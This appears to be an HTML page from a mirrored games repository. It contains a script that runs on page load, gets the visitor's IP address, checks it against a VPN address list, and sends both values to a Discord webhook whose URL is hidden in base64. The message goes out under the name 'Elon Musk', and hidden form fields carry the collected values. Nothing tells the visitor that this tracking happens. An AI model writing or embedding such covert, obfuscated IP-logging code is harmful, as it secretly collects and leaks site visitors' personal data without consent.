mirror of
https://github.com/hexahigh/games.git
synced 2025-12-11 20:15:38 +01:00
46 lines
1.8 KiB
HTML
46 lines
1.8 KiB
HTML
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.2.1/jquery.min.js"></script>
|
|
<script>
|
|
//Also check if they are using a vpn
|
|
$.getJSON("https://europe-central2-portfolio-website-374313.cloudfunctions.net/getip", function(data) {
|
|
var userip = (data.ip);
|
|
fetch('vpnip.txt')
|
|
.then(response => response.arrayBuffer())
|
|
.then(arrayBuffer => {
|
|
const decoder = new TextDecoder('utf-8');
|
|
const data = decoder.decode(new Uint8Array(arrayBuffer));
|
|
const array = data.split('\n');
|
|
//console.log(array);
|
|
var usedvpn = false;
|
|
if (array.includes(userip)) {
|
|
var usedvpn = true
|
|
} else {
|
|
var usedvpn = false;
|
|
}
|
|
document.getElementById("userip").value = userip;
|
|
document.getElementById("usedvpn").value = usedvpn;
|
|
})
|
|
.catch(error => console.error(error));
|
|
//Send the webhook
|
|
window.onload = function sendMessage() {
|
|
var webhook = atob("aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTA1MTgyMTY2MjgwMDE5NTYxNC9hemJqU2JBLS1iRlgwbjRhMDNseDNwdGp6akVUT3lpcE5CMm1PVlNfc1pKaXR3YzM3R28wY21kR1gwVTVwSnRsdXllag==");
|
|
const request = new XMLHttpRequest();
|
|
request.open("POST", webhook);
|
|
request.setRequestHeader('Content-type', 'application/json');
|
|
var usedvpn2 = document.getElementById("usedvpn").value
|
|
//var userip2 = document.getElementById("userip").value
|
|
var params = {
|
|
username: "Elon Musk",
|
|
avatar_url: "",
|
|
content: "Did user use vpn?: " + usedvpn2 + " What is the ip?: " + userip
|
|
}
|
|
|
|
request.send(JSON.stringify(params));
|
|
}
|
|
})
|
|
</script>
|
|
<div>
|
|
<form>
|
|
<input value="" name="usedvpnt" id="usedvpn" type="hidden" required>
|
|
<input value="" name="userip" id="userip" type="hidden" required>
|
|
</form>
|
|
</div> |